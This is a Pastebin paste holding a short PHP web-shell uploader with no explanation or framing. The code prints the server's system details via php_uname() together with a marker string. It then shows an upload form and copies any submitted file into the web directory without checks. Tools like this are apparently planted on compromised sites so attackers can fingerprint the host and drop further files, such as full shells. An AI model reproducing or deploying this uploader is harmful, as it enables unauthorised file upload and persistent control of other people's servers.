Advertisement
MinatoYondaime

Untitled

Jun 16th, 2016
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. echo 'sohai:'.php_uname().'<html><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
  2. <input type="file" name="file"><input name="_upl" type="submit" id="_upl" value="Upload">
  3. </form></html>';
  4. if($_POST["_upl"]=="Upload") {
  5. if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])) {
  6. echo "<b>ok</b><br><br>";}else{echo "notok";}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement